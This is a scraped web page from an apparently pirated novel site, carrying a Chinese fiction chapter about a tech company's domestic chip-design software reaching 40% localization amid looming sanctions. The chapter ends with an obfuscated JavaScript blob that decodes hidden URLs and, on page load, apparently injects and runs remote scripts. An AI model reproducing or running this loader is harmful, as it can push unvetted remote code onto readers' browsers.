首页
第313章 EDA国产化进度
返回
关灯 护眼:关 字号:小

第313章 EDA国产化进度达到40%

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    补天区的灯光在凌晨三点仍然亮着,不是那种大面积通明的亮,而是被隔断和吸光材料压暗后丶只集中在每张工位上的窄光。整个楼层安静得像一座沉在深水里的舱室,只有键盘敲击声和偶尔响起的低语在空气里缓慢流动。
    章宸站在中央调度屏前,已经站了快二十分钟。
    屏幕上没有跳动的数字,没有炫目的动画,只有一组被严格权限控制的技术拆解图。逻辑综合模块丶时序分析骨架丶版图验证引擎丶物理设计规则框架丶标准单元库适配层丶第三方数据接口——每一条都被标注着当前完成度和剩余攻坚点。最上方,一行极克制的绿色数字安静地浮着:
    综合国产化有效进度:40%
    本书由??????????.??????全网首发
    这个数字不是昨天才到的,但直到今天凌晨,章宸才允许它被正式写入一级核心进度板。不是因为之前虚报了,而是他要所有参与补天的人看见的,不是一个被情绪拔高的节点,而是一个被反覆校验丶交叉确认丶没有任何水分的事实。
    四十个百分点,不到一半。
    放在任何正常的商业项目里,这个数字都不值得被专门提出来说。可补天不是正常项目。它是在外部工具链限制层层收紧丶对面试图从「继续设计未来」的根子上卡死未来科技的绝境里,被硬生生撕开的一条血路。四十个百分点意味着什么?意味着未来科技在最核心的几类设计场景里,已经有了不依赖旧秩序的备用骨架;意味着当外部封锁真的落到工具层时,补天不再是应急拼接的补丁,而是一根能自己站住的骨头。
    但也仅此而已。
    四十个百分点,离真正的全面国产化还有很长很长的路。
    一名负责时序分析引擎的年轻工程师从工位上站起来,端着已经凉透的杯子走到调度屏边,抬头看了那个数字一眼。他没有说话,只是站在原地看了几秒,然后转身去接了杯热水,重新坐回工位。这个动作很轻,但章宸看见了。那不是麻木,而是一种更深的确认——四十个百分点不是终点,甚至不是中途庆祝的点,它只是告诉大家,这条路真的走得通,仅此而已。
    赵静在凌晨四点也到了补天区。
    她不是来查岗,而是小芯在EDA问题空间里的辅助验证刚跑完一轮新的异常检测,结果需要和补天团队同步。她走进来时没有惊动太多人,径直走到章宸身边,把一组离线数据推了过去。
    「小芯刚过了一遍逻辑综合模块最近两周的所有失败案例。」她压低声音,「发现了一个人眼容易漏掉的规律——有几种特定电路结构在当前骨架下的优化路径选择偏保守,导致面积和功耗收敛速度比预期慢。不是错误,是不够好。」
    章宸接过数据,快速扫了一遍。
    小芯标注出来的那几类结构,确实是补天当前骨架的薄弱区。不是不能用,而是优化深度不够,导致设计出来的版图在性能和能效上和国际主流工具还有差距。这种差距在高端晶片设计里会被放大,尤其是未来科技自己的旗舰终端和车规晶片,对面积丶功耗丶时序的要求极其苛刻,任何一丁点工具侧的保守,都会在最终产品上变成可见的劣势。
    「这部分需要单独拉一条优化线。」章宸说,「不能等主骨架全部做完再回头补。」
    赵静点头:「小芯可以继续做异常挖掘,但优化方案得你们自己定。」
    两人都没有提那个四十百分点的数字。不是不重视,而是在他们这个层面,数字只是结果,真正重要的是数字背后那些还在被一点点啃掉的硬骨头。
    天色将亮未亮时,陈醒到了补天区。
    他没有提前通知,也没有让人准备,只带着周明和李明哲,从侧门走进来。调度屏上那个40%的数字还在,周围的技术拆解图也还没来得及收。章宸看见他进来,没有起身,只是把最近两周的核心进展简表调到了副屏上。
    陈醒站在调度屏前,看了那个数字几秒。
    「四十。」他念了一遍,语气里没有惊喜,也没有失望,只是确认。
    「四十。」章宸重复,「逻辑综合和时序分析骨架基本站住了,版图验证到了可用的临界点,物理设计规则和标准单元库适配还在补。四十个百分点是按核心设计流程覆盖度加权算的,不是简单模块计数。」
    「水分呢?」周明问。
    「没有刻意压,也没有刻意放。」章宸看向他,「我们只按一个标准——离开补天骨架,能不能独立跑完一段完整的设计流程。能跑完丶结果可信丶不靠外部工具擦屁股,就算有效进度。目前四十个百分点的覆盖区间里,全部满足这个标准。」
    周明没有再问。
    这个标准够硬了。补天从一开始就不是为了做一个「看起来国产化率很高」的面子工程,而是为了在外部工具链被切断的那一天,未来科技还有资格继续设计晶片。四十个百分点意味着,在最核心的那几类设计场景里,他们已经不需要看别人的脸色了。
    陈醒把视线从数字上移开,落在章宸身上。
    「最难的是哪一块?」
    「版图验证的深规则检测。」章宸没有犹豫,「这部分在商业工具里沉淀了几十年的经验库,不是靠算法能短时间追平的。我们现在能跑通基础流程,但复杂设计里的异常模式覆盖度还不够。补天骨架在版图验证这个环节,还需要至少两到三轮大规模真实设计反哺才能磨出来。」
    「那就用真实设计磨。」陈醒说,「天衡5之后的下一代旗舰,后端物理设计全部在补天骨架上跑一遍。有问题就改,改完再跑,跑到能出片为止。」
    这话一出来,调度屏旁边几名还没下班的工程师同时抬起了头。
    用真实旗舰晶片设计来反哺工具链,这意味着补天不再是躲在实验室里的备胎项目,而是要被直接扔进未来科技最核心的产品战线上接受实战检验。这既是信任,也是压力——四十个百分点是骨架,但骨架能不能撑住真实设计的全部重量,只有真刀真枪跑过才知道。
    章宸没有推辞,也没有客套,只说了一个字:「好。」
    早晨七点,补天区开始换班。
    夜班的工程师陆续关掉工位上的窄光,把进度同步给白班同事。没有人高声交接,没有人刻意强调「四十个百分点」这个节点,一切都像平常一样平静。可那种平静底下,有一股很沉的东西在流动——所有人都知道,从今天起,补天的性质变了。它不再是一个「万一被卡脖子时还有路」的应急工程,而是一个真正在长骨头丶在承担未来科技设计能力底板的活体系。
    李明哲在换班间隙把章宸拉到一边,低声问了一个更现实的问题:「四十个百分点这个数,国际线那边怎么处理?」
    章宸明白他的意思。补天进度一旦被外部知晓,尤其是被北洲产业安全圈知晓,对方对华夏芯的全面制裁很可能会加速。四十个百分点本身不构成威胁,但它是一个清晰的信号——未来科技正在从工具链上脱离旧秩序的单边控制。
    「陈总的意思是,不主动提,也不刻意藏。」章宸说,「对外所有关于设计工具的讨论,口径统一为『未来科技持续投入底层工具能力建设』。四十这个数字,不在任何公开场合出现。」
    李明哲点头,把这个口径记了下来。
    他知道,这不是心虚,而是战术。在对面已经准备举刀的时候,最好的策略不是跳出来喊「你看我也有一把刀」,而是让刀继续在鞘里长,长到对面不得不重新计算成本。
    上午九点,补天区的白班例会比平时多了十几分钟。
    章宸没有搞什么庆祝仪式,甚至连「四十个百分点」这个数字都只是在一页进度表里安静地放着。他把接下来两个月的攻坚方向压成了三条主线:
    第一,版图验证引擎的深规则检测能力,要通过至少三轮真实设计回流来完成叠代。
    第二,时序分析骨架的精度要继续往商业工具的第一梯队靠,尤其是先进工艺下的信号完整性建模。
    第三,物理设计规则和标准单元库适配的覆盖面,要从当前的成熟工艺向更先进节点延伸。
    三条线,每一条都很难,每一条都必须在外部封锁落地之前往前再推一大截。
    赵静把心感输入那边的一部分AI算力临时调拨给了补天,专门用来做版图验证中的异常模式挖掘。这不是小芯第一次进入EDA问题空间,但这次的任务更底层——不是帮人发现问题,而是帮工具自己学会发现问题。
    章宸对这个安排只说了一句话:「让小芯先跑一个月,跑出来的结果我们人工覆核。能用就收,不能用就拆。」
    这就是补天的节奏。不迷信AI,不依赖奇迹,所有进步都必须经过真实设计的检验。
    下午,陈醒在研究院北侧楼里召开了一个极小的碰头会。
    参加的人只有周明丶李明哲丶章宸和许承。议题不是补天,而是补天四十个百分点之后,外部环境的变化预判。
    李明哲把最近四十八小时收集到的外部情报压成了一页纸。
    北洲产业安全圈内部关于华夏芯的讨论在过去一周明显升温。关键词从「技术流失风险」变成了「设计能力自主化加速」,从「单项限制」变成了「系统性封锁必要性」。有几份内部讨论纪要的碎片信息显示,一份针对华夏芯的全方位制裁草案已经进入跨部门流转阶段,最快可能在四到六周内完成内部协调。
    「四十个百分点这件事,对面不一定知道具体数字,但他们能从未来科技的产品节奏丶设计效率丶对外部工具的依赖度变化里嗅到气味。」李明哲说,「补天的存在已经不是秘密,秘密只在于我们到底走到了哪一步。」
    周明补了一句:「一旦对面判断补天已经具备骨架能力,全面制裁的时间窗口会急剧压缩。他们不会等我们到六十或八十个百分点再动手。」
    陈醒听完,没有立刻表态。
    他看向许承:「海上链路冗余方案那边,如果外部环境在六周内恶化到极限状态,能兜住多少?」
    许承把一张经过多次叠代的拓扑图投到屏幕上。不是天机云的主干网络,而是一套完全独立于传统海底电缆体系的跨区域数据承接架构。多个区域节点之间通过动态路由丶边缘缓存丶异步同步和优先级调度,在极限情况下保持最基本的跨区域协同能力。
    「硬体层面已经完成了第一轮预部署,不依赖新增海底光缆。如果六周内恶化,我们能保证核心研发数据和关键业务协同不中断,但带宽和延迟会大幅下降。」许承顿了顿,「民用级的海外服务会受影响。」
    陈醒点了点头。
    「那就从现在开始,把所有核心研发数据的跨区域同步逻辑全部切到这套冗余架构上做一轮真实演练。」他说,「不通知,不预告,直接切。」
    许承眼神一凝,立刻明白这意味着什么。
    这是一次不流血的实战预演。在外部风暴真正到来之前,先用内部压力测试把海上数据计划的每一根神经都跑一遍。暴露问题就改,改完再跑,跑到它能在最坏情况下真正站住。
    章宸从补天角度补充了一句:「设计工具链相关的跨区域协同也纳入这个演练。如果海上链路出问题,补天的远程协作能力会受影响。」
    陈醒点头,看向周明:「你来总协调。所有一级核心线全部参与,不例外。」
    周明在笔记本上写下这行字,笔尖压得很重。
    会议结束时,天色已经彻底亮了。
    补天区的白班正在全速运转,版图验证引擎的新一轮回归测试刚刚启动;天衡5产线的量产准备已经进入最后冲刺;车规晶片那边,天权5的第二轮实车路测数据正在汇总;追光材料实验区,林薇带队的重测还在继续;心感输入的感应层硬体预研线,也已经开始搭第一批原型。
    每一条线都在往前,每一条线都在承压。
    而在这个普通得不能再普通的下午,陈醒站在研究院顶楼的窗前,看着远处芯谷那片密密麻麻的建筑群,心里清楚——补天四十个百分点,不是终点,甚至不是中途休息站。它只是一个让未来科技有资格继续留在牌桌上的最低门槛。
    真正的战争,还在后面。
    夜里,章宸回到补天区时,发现调度屏上的数字还是40%,没有动过。
    他没有去改它,也没有让人去改。四十就是四十,不需要美化,不需要渲染。它说明未来科技已经走过最黑的一段路,但也说明前面还有六十个百分点的路要赶。
    他坐回工位,打开版图验证引擎的优化任务列表,在最上面那条「深规则检测覆盖率提升」后面,手动加了一个备注:
    目标:六周内再推十个百分点。
    不是公司要求的,不是陈醒布置的,是他自己给自己定的。
    因为六周后,对面那把刀,很可能就要落下来了。
    补天区的灯继续亮着。
    远处,研究院北侧楼里,李明哲正在起草一份关于外部环境恶化的内部判断通报;许承的团队已经开始连夜部署海上链路冗余的第一轮全量演练;周明则在重新梳理所有一级核心线的风险边界。
    整座未来科技,像一头在风暴前夜沉默加速的巨兽。
    而四十个百分点,就是它现在能跑出的最快速度。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();